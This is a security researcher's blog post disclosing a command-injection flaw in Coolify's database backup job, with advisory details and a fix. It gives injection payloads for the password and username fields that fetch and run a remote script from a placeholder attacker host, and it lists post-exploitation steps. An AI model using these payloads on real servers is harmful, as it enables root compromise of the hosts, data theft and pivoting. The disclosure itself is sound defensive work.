Back to Blog

Coolify: Host-Level RCE via Unescaped Database Credentials in Backup Jobs

Coolify is a self-hosted PaaS (Platform as a Service) with over 36,000 stars on GitHub. It lets you deploy applications, databases, and services on your own servers. During a source code audit of the latest version, I found that the database backup functionality constructs shell commands by directly interpolating user-controlled credentials without any escaping. This results in authenticated Remote Code Execution on the host system.

The ironic part: a previous advisory (GHSA-vm5p-43qh-7pmq) attempted to fix command injection in backup jobs by adding escapeshellarg() — but only to the database name field. Every other credential field was left untouched.

The Vulnerability

The core issue is in app/Jobs/DatabaseBackupJob.php. When Coolify creates a database backup, it builds shell commands using PHP string interpolation. The database credentials — username, password, collection names — come from user input (set during database creation via the dashboard or API) and are never passed through escapeshellarg().

Here are the five injectable fields I identified:

1. PostgreSQL Username

// DatabaseBackupJob.php
$backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location";

The postgres_user field is interpolated directly into the command string. No quotes, no escaping.

2. PostgreSQL Password (Double-Quote Breakout)

$backupCommand .= " -e PGPASSWORD="{$this->postgres_password}"";

The password is wrapped in double quotes, but double quotes in bash allow command substitution. A payload containing $(command) or backticks will execute.

3. MySQL/MariaDB Root Password

$commands[] = "docker exec $this->container_name mysqldump -u root -p"{$this->database->mysql_root_password}" --all-databases ...";

Same pattern. Double-quoted interpolation = command substitution.

4. MongoDB Collection Names

$collectionsToExclude = str($databaseWithCollections)->after(':')->explode(',');
// later:
." --excludeCollection " . $collectionsToExclude->implode(' --excludeCollection ')

Collection names from the exclude list are concatenated directly. No quoting at all.

5. MongoDB Credentials in URI

$url = "mongodb://{$this->mongo_root_username}:{$this->mongo_root_password}@{$this->container_name}:27017";
$commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --archive > $this->backup_location";

Both the MongoDB username and password are placed directly into the connection URI, which is part of the shell command.

Exploitation

The simplest attack path uses the PostgreSQL password field:

  1. Create a PostgreSQL database through the Coolify dashboard (any authenticated user with database permissions)
  2. Set the password to: x" $(curl http://ATTACKER/shell.sh|sh) "
  3. Configure a scheduled backup for this database (or trigger one manually)
  4. When the backup job executes, the shell command becomes:
docker exec ... -e PGPASSWORD="x" $(curl http://ATTACKER/shell.sh|sh) "" container pg_dumpall ...

Bash interprets $(curl http://ATTACKER/shell.sh|sh) as command substitution. The attacker's script downloads and executes on the server. Since Coolify typically runs as root, this gives root-level RCE.

For the PostgreSQL username field, the payload is even simpler since there are no quotes to break out of:

postgres_user = "x;curl http://ATTACKER/shell.sh|sh;#"

// Resulting command:
pg_dumpall --username x;curl http://ATTACKER/shell.sh|sh;# | gzip > ...

The semicolons terminate the pg_dumpall command, execute the payload, and the # comments out the rest.

What Makes This Worse

  • Persistent execution: If the database has scheduled backups, the payload re-executes on every backup cycle without any user interaction
  • Scope change: Coolify manages multiple servers. A compromised Coolify instance can execute commands on all connected servers, not just the one running Coolify
  • Post-exploitation: Root access means you can dump all databases, read SSH private keys, pivot to other managed hosts, and install persistent backdoors
  • Low privilege requirement: You only need database management permissions, not full admin access

The Incomplete Fix

The previous advisory (GHSA-vm5p-43qh-7pmq) added escaping, but only to one field:

// What they fixed:
$escapedDbName = escapeshellarg($this->database->name);

// What they left untouched:
$this->database->postgres_user     // username - no escaping
$this->postgres_password            // password - no escaping
$this->database->mysql_root_password // password - no escaping
$collectionsToExclude               // mongo collections - no escaping
$this->mongo_root_username          // username - no escaping
$this->mongo_root_password          // password - no escaping

This is a common pattern in security patches: fixing the specific field mentioned in the report without auditing adjacent code for the same class of vulnerability.

The Fix

Every user-controlled value that enters a shell command needs escapeshellarg():

$escapedUser = escapeshellarg($this->database->postgres_user);
$escapedPassword = escapeshellarg($this->postgres_password);
$backupCommand .= " -e PGPASSWORD=$escapedPassword $this->container_name pg_dumpall --username $escapedUser | gzip > $this->backup_location";

The same treatment needs to be applied to MySQL root password, MongoDB credentials, and collection names. Better yet, use environment variables passed through Docker's --env flag with proper escaping, or write credentials to a temporary file and reference it.

Details

AdvisoryGHSA-4vff-6j8j-qhcg
SeverityCritical (CVSS 9.1)
CWECWE-78 — OS Command Injection
VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
ReportedMarch 3, 2026
Disclosure deadlineJune 1, 2026